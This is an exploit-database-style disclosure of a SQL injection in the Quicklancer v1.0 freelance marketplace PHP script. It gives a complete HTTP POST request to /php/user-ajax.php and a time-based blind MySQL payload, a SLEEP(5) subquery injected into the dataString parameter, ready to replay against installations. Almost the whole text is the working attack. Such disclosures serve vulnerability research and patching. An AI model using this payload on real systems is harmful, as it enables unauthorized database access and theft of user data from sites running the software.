# Exploit Title: Quicklancer v1.0 - SQL Injection # Date: 2023-05-17 # Exploit Author: Ahmet Ümit BAYRAM # Vendor: https://codecanyon.net/item/quicklancer-freelance-marketplace-php-script/39087135 # Demo Site: https://quicklancer.bylancer.com # Tested on: Kali Linux # CVE: N/A ### Request ### POST /php/user-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Accept: */* x-requested-with: XMLHttpRequest Referer: https://localhost Cookie: sec_session_id=12bcd985abfc52d90489a6b5fd8219b2; quickjob_view_counted=31; Quick_lang=arabic Content-Length: 93 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Host: localhost Connection: Keep-alive action=searchStateCountry&dataString=deneme ### Parameter & Payloads ### Parameter: dataString (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: action=searchStateCountry&dataString=deneme' AND (SELECT 8068 FROM (SELECT(SLEEP(5)))qUdx) AND 'nbTo'='nbTo